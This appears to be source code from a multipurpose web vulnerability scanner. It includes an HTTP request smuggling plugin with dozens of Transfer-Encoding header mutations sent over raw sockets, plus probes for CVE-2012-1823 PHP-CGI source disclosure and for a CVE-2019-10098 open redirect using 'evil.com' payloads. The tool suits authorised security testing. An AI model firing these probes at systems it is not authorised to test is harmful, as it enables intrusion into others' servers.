return msg
def commaCow(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked, identity' )
return msg
def cowComma(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: identity, ' )
return msg
def contentEnc(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Content-Encoding: ' )
return msg
def linewrapped1(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:\n' )
return msg
def gareth1(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding\n : ' )
return msg
def quoted(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: "chunked"' )
return msg
def aposed(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', "Transfer-Encoding: 'chunked'" )
return msg
def badwrap(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: bar' )
msg = msg.replace( 'HTTP/1.1\r\n', 'HTTP/1.1\r\n Transfer-Encoding: chunked\r\n' )
return msg
def badsetupCR(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: bar' )
msg = msg.replace( 'HTTP/1.1\r\n', 'HTTP/1.1\r\nFooz: bar\rTransfer-Encoding: chunked\r\n' )
return msg
def badsetupLF(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: bar' )
msg = msg.replace( 'HTTP/1.1\r\n', 'HTTP/1.1\r\nFooz: bar\nTransfer-Encoding: chunked\r\n' )
return msg
def vertwrap(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: \n\u000B' )
return msg
def tabwrap(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: \n\t' )
return msg
def dualchunk(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked\r\nTransfer-Encoding: identity' )
return msg
def lazygrep(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunk' )
return msg
def multiCase(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'TrAnSFer-EnCODinG: cHuNkeD' )
return msg
def UPPERCASE(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'TRANSFER-ENCODING: CHUNKED' )
return msg
def zdwrap(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: bar' )
msg = msg.replace( 'HTTP/1.1\r\n', 'HTTP/1.1\r\nFoo: bar\r\n\rTransfer-Encoding: chunked\r\n' )
return msg
def zdsuffix(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked\r' )
return msg
def zdsuffix(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked\t' )
return msg
def revdualchunk(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: identity\r\nTransfer-Encoding: chunked' )
return msg
def zdspam(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer\r-Encoding: chunked' )
return msg
def bodysplit(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Foo: barn\n\nTransfer-Encoding: chunked' )
return msg
def connection(self, msg):
msg = msg.replace( 'Connection', 'Transfer-Encoding' )
return msg
def nested(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: cow chunked bar' )
return msg
def spaceFF(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(255) )
return msg
def unispace(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(160) )
return msg
def accentTE(self, msg):
msg = msg.replace( 'Transfer-Encoding:', 'Transf'+chr(130)+'r-Encoding:' )
return msg
def accentCH(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfr-Encoding: ch'+chr(150)+'nked' )
return msg
def chunky(self, msg):
pad_str = ''
pad_chunk = "F\r\nAAAAAAAAAAAAAAA\r\n"
for i in range(0,3000):
pad_str = pad_str + pad_chunk
msg = msg.replace( 'Transfer-Encoding: chunked\r\n\r\n', 'Transfer-Encoding: chunked\r\n\r\n'+pad_str )
if 'Content-Length: 11' in msg:
msg = msg.replace( 'Content-Length: ', 'Content-Length: 600' )
else:
msg = msg.replace( 'Content-Length: ', 'Content-Length: 6000' )
return msg
def vanilla(self, msg):
return msg
def reversevanilla(self, msg):
return msg
def spacefix1_0(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(0) )
return msg
def spacefix1_9(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(9) )
return msg
def spacefix1_11(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(11) )
return msg
def spacefix1_12(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(12) )
return msg
def spacefix1_13(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(13) )
return msg
def spacefix1_127(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(127) )
return msg
def spacefix1_160(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(160) )
return msg
def spacefix1_255(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:'+chr(255) )
return msg
def prefix1_0(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(0) )
return msg
def prefix1_9(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(9) )
return msg
def prefix1_11(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(11) )
return msg
def prefix1_12(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(12) )
return msg
def prefix1_13(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(13) )
return msg
def prefix1_127(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(127) )
return msg
def prefix1_160(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(160) )
return msg
def prefix1_255(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: '+chr(255) )
return msg
def suffix1_0(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(0) )
return msg
def suffix1_9(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(9) )
return msg
def suffix1_11(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(11) )
return msg
def suffix1_12(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(12) )
return msg
def suffix1_13(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(13) )
return msg
def suffix1_127(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(127) )
return msg
def suffix1_160(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(160) )
return msg
def suffix1_255(self, msg):
msg = msg.replace( 'Transfer-Encoding: chunked', 'Transfer-Encoding: chunked'+chr(255) )
return msg
class sockRequest:
length = 0
time = 0
headers_length = 0
content_length = 0
headers = ''
status_reason = ''
url = ''
message = ''
response = ''
content = ''
t_headers = {}
status_code = -1
def __init__(self, url, message ):
self.url = url
self.message = message
def receive_all(self, sock ):
datas = ''
for i in range(100):
chunk = sock.recv( 4096 )
if chunk:
datas = datas + chunk.decode(errors='ignore')
break
else:
break
return datas
def extractDatas(self):
try:
self.length = len(self.response )
p = self.response.find( '\r\n'+'\r\n' )
self.headers = self.response[0:p]
self.headers_length = len(self.headers )
self.content = self.response[p+len('\r\n'+'\r\n'):]
self.content_length = len(self.content )
tmp = self.headers.split( '\r\n' )
first_line = tmp[0].split( ' ' )
self.status_code = int(first_line[1])
self.status_reason = first_line[2]
for header in tmp:
p = header.find( ': ' )
k = header[0:p]
v = header[p+2:]
self.t_headers[ k ] = v
except Exception as e:
pass
def send(self):
t_urlparse = urlparse(self.url )
if t_urlparse.port:
port = t_urlparse.port
elif t_urlparse.scheme == 'https':
port = 443
else:
port = 80
if ':' in t_urlparse.netloc:
tmp = t_urlparse.netloc.split(':')
netloc = tmp[0]
port = tmp[1]
else:
netloc = t_urlparse.netloc
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
if t_urlparse.scheme == 'https':
context = ssl.SSLContext( ssl.PROTOCOL_SSLv23 )
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket( sock, server_hostname=netloc )
sock.settimeout( 30 )
try:
sock.connect( (netloc, port) )
except Exception as e:
return False
sock.sendall( str.encode(self.message) )
start = time.time()
try:
datas = self.receive_all( sock )
except Exception as e:
return False
end = time.time()
sock.shutdown( socket.SHUT_RDWR )
sock.close()
self.response = datas
self.time = (end - start) * 1000
if len(datas):
self.extractDatas()
def generateAttackMessage( base_message, method, attack_datas ):
try:
f = getattr( am, method )
except Exception as e:
return ''
msg = base_message.strip() + '\r\n'
msg = am.update_content_length( msg, attack_datas['Content-Length'] )
msg = msg + 'Transfer-Encoding: chunked' + '\r\n'
msg = msg + '\r\n' + attack_datas['body']
msg = f( msg)
return msg
def generateBaseMessage( url, t_evil_headers ):
t_urlparse = urlparse( url )
if t_urlparse.path:
query = t_urlparse.path
else:
query = '/'
if t_urlparse.query:
query = query + '?' + t_urlparse.query
if t_urlparse.fragment:
query = query + '#' + t_urlparse.fragment
msg = 'POST ' + query + ' HTTP/1.1' + '\r\n'
msg = msg + 'Host: ' + t_urlparse.netloc + '\r\n'
for k,v in t_evil_headers.items():
msg = msg + k + ': ' + v + '\r\n'
msg = msg + '\r\n'
return msg
history = {}
lock = threading.Lock()
am = SmugglerAttacks()
def check(url,base_message,method,attack_datas,output):
if not url in history.keys():
history[url] = 0
if history[url] > MAX_VULNERABLE:
return
result = request( url, generateAttackMessage( base_message, method, attack_datas ) )
if result.status_code < 0: return
if result.time > 9000:
r_type = True
with lock: history[url] += 1
else:
r_type = False
if 'Content-Type' in result.t_headers:
content_type = result.t_headers['Content-Type']
else:
content_type = '-'
if attack_datas:
method = attack_datas['name'] + '|' + method
output.append({
'R': result.url.ljust(0),
'M': method,
'C': result.status_code,
'L': result.length,
'time': result.time,
'T': content_type,
'V': r_type,
'request': b64encode(result.message.encode('utf8')).decode('utf8')
})
def request( url, message ):
sock = sockRequest( url, message )
sock.send()
return sock
class Smuggler(Plugin):
def __init__(self):
self.name = "Request Smuggler"
self.enable = True
self.description = ""
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def main(self,host):
output = []
url = utils.uri(host)
channel = multitask.Channel()
for method in t_registered_method:
for attack_datas in t_attacks_datas:
channel.append(
url,
generateBaseMessage( url, t_base_headers ),
method,
attack_datas,
output
)
multitask.workers(check,channel,10)
channel.wait()
channel.close()
qtechniques = 0
ntechniques = []
rtechniques = []
savename = host + ".sumggler.txt"
for scan in output:
isvulnerable = scan['V']
method = scan['M']
status = scan['C']
request = scan['request']
if isvulnerable == True:
qtechniques += 1
ntechniques.append(method)
rtechniques.append( (request) )
data.savetofile(
name = savename,
content = json.dumps(scan) + "\n"
)
if qtechniques == 0:
return Result(FAILED,None,None,None)
return Result(SUCCESS,"%i of smuggling techniques worked: [%s] request(s) saved at: output/%s" % (qtechniques, ', '.join(ntechniques[:4]) + "..", savename),None,None) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,717 | alex14324/Eagel | refs/heads/main | /utils/urls.py | from .wrappers import wRequests as requests
from .decorators import OnErrorReturnValue
from urllib.parse import urlparse,urlunparse
import dns.resolver
alive_cache = {}
def isalive(url):
url = sanitize(url)
if url in alive_cache.keys():
return alive_cache[url]
try:
status = bool( requests.options(url,timeout=10,verify=False).status_code )
alive_cache.update({url: status})
except Exception as e :
status = False
alive_cache.update({url: status})
return status
def sanitize(url):
url_parsed = urlparse(url)
return urlunparse((url_parsed.scheme, url_parsed.netloc, '/'.join([part for part in url_parsed.path.split('/') if part]) , '', '', '')) + "/"
def urlschemes(host):
schemes = []
if isalive("http://%s" % host):
schemes.append('http')
if isalive("https://%s" % host):
schemes.append('https')
return schemes
def urlscheme(host):
if isalive("https://%s" % host):
return "https"
return "http"
def uri(host):
scheme = urlscheme(host)
return sanitize( "{scheme}://{host}/".format(scheme=scheme,host=host) )
def dump_request(request):
body = b""
body += request.request.method.encode("utf8")
body += b" "
body += request.request.url.encode("utf8")
body += b"\r\n"
for header,value in request.request.headers.items():
body += header.encode("utf8") + b": " + value.encode("utf8") + b"\r\n"
if request.request.body != None:
body += str(request.request.body).encode("utf8")
return body
def dump_response(request):
body = b"HTTP /1.1 "
body += str(request.status_code).encode("utf8")
body += b" "
body += request.reason.encode("utf8")
body += b"\r\n"
for header,value in request.headers.items():
body += header.encode("utf8") + b": " + value.encode("utf8") + b"\r\n"
body += request.text.encode("utf8")
return body | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,718 | alex14324/Eagel | refs/heads/main | /utils/console.py | from .status import *
import datetime
import argparse
import sys
import re
from threading import Lock
lock = Lock()
banner_str = """
.---. .-----------
/ \ __ / ------
/ / \( )/ -----
////// ' \/ ` --- Multipurpose vulnerability scanner
//// / // : : --- v1.0b
/ / / /` '-- 2019-2020
//..\\
====UU====UU==== - Loaded plugins: %i
'//||\\` - Worker(s): %i
''``
Project Eagle - Main Engine
"""
statup_time = datetime.datetime.now().strftime("%d-%m-%Y.%H.%M.%S")
open(sys.path[0]+"/logs/%s.log" % statup_time , "a+").write(' '.join(sys.argv) + "\n")
parser = argparse.ArgumentParser(description='[*] Project Eagle - Manual' )
parser.add_argument('--workers','-w',type=int, help='concurrent workers number default=5',default=5)
parser.add_argument('--db',type=str,help='database file path',default=sys.path[0]+"/db/default.db.json")
parser.add_argument('-f','--file', help='targets file',type=str)
parser.add_argument('-v','--verbose', help='increase output verbosity',action="count",default=0)
parser.add_argument('-p','--ping',action='store_true', help='check availability of targets')
args = parser.parse_args()
if len(sys.argv) < 2:
parser.print_help()
exit(0)
def escape_ansi(line):
ansi_escape = re.compile(r'(\x9B|\x1B\[)[0-?]*[ -/]*[@-~]')
return ansi_escape.sub('', line)
def banner(plugins):
print(banner_str % (plugins, args.workers))
def output(level,msg):
with lock:
level = '{color} {name}{reset}'.format(
color = s2c[level],
name = s2s[level].upper(),
reset = Fore.RESET
).ljust(19," ")
msg = "[%s] |%s| %s\n" % (datetime.datetime.now().strftime("%d/%m/%Y %H:%M:%S"),level,msg)
open(sys.path[0]+"/logs/%s.log" % statup_time , "a+").write(escape_ansi(msg))
print(msg,end='')
def pprint(result):
res = result.ret
host = result.args[0]
name = result.channel.name
if not res: return
if name == 'ping':
output(res.status,"%s" % (res.msg))
return
if args.verbose == 0 and res.status == SUCCESS:
output(SUCCESS,"plugin=%s, host=%s, msg=%s" % (
name,
host,
res.msg
))
if args.verbose == 1 and ( res.status == SUCCESS or res.status == WARNING ):
output(res.status,"plugin=%s, host=%s, msg=%s" % (
name,
host,
res.msg
))
if args.verbose == 2 and ( res.status == SUCCESS or res.status == WARNING or res.status == ERROR):
output(res.status,"plugin=%s, host=%s, msg=%s" % (
name,
host,
res.msg
))
if args.verbose == 3:
output(res.status,"plugin=%s, host=%s, status=%s, msg=%s" % (
name,
host,
s2s[res.status],
res.msg
))
| {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,719 | alex14324/Eagel | refs/heads/main | /plugins/cve-2012-1823.py | from utils.status import *
from .helper import Plugin,utils
class CVE_2012_1823(Plugin):
def __init__(self):
self.name = "PHP-CGI - CVE_2012_1823"
self.enable = True
self.description = ""
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def main(self,host):
poc = utils.uri(host) + "index.php?-s"
request = utils.requests.get(poc)
if "<?php" in request.text:
return Result(
status = SUCCESS,
msg = poc,
request = utils.dump_request(request),
response = utils.dump_response(request)
)
return Result(FAILED,None,None,None) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,720 | alex14324/Eagel | refs/heads/main | /utils/status.py | from collections import namedtuple
from colorama import Fore
from colorama import init
ERROR = 0
SUCCESS = 1
FAILED = 2
WARNING = 3
UNKNOWN = 4
INFO = 5
LOG = 6
s2s = {
ERROR: 'error',
SUCCESS: 'success',
FAILED: 'failed',
WARNING: 'warning',
UNKNOWN: 'unknown',
INFO: 'info',
LOG: 'logging'
}
s2c = {
ERROR: Fore.RED,
SUCCESS: Fore.GREEN,
FAILED: Fore.RED,
WARNING: Fore.YELLOW,
UNKNOWN: Fore.LIGHTBLACK_EX,
INFO: Fore.LIGHTBLACK_EX,
LOG: Fore.LIGHTBLACK_EX
}
init(autoreset=True)
Result = namedtuple("Result","status msg request response") | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,721 | alex14324/Eagel | refs/heads/main | /plugins/__init__.py | from .helper import loader
from glob import glob
import importlib
import os
def main():
for plugin in glob("plugins/*.py"):
path = plugin.replace("/",".").replace("\\",".").replace(".py",".")[:-1]
plugin = os.path.basename(plugin).replace(".py","")
if plugin in ["helper","__init__"]: continue
lib = getattr(__import__(path), plugin)
for sub in dir(lib):
if "__" in sub: continue
plugin_class = getattr(lib,sub)
try:
if plugin_class.__base__.__name__ == "Plugin":
loader.load(plugin_class())
except:
pass
if __name__ == "plugins":
main() | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,722 | alex14324/Eagel | refs/heads/main | /plugins/cve-2019-10098.py | from utils.status import *
from .helper import Plugin,utils
class CVE_2019_10098(Plugin):
def __init__(self):
self.name = "Apache Httpd mod_rewrite - CVE_2019_10098"
self.enable = True
self.description = ""
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def main(self,host):
for payload in ["%0a.evil.com","/evil.com","\\evil.com"]:
poc = utils.uri(host) + payload
request = utils.requests.get(poc)
if 'Evil.Com' in request.text:
return Result(
status = SUCCESS,
msg = poc,
request = utils.dump_request(request),
response = utils.dump_response(request)
)
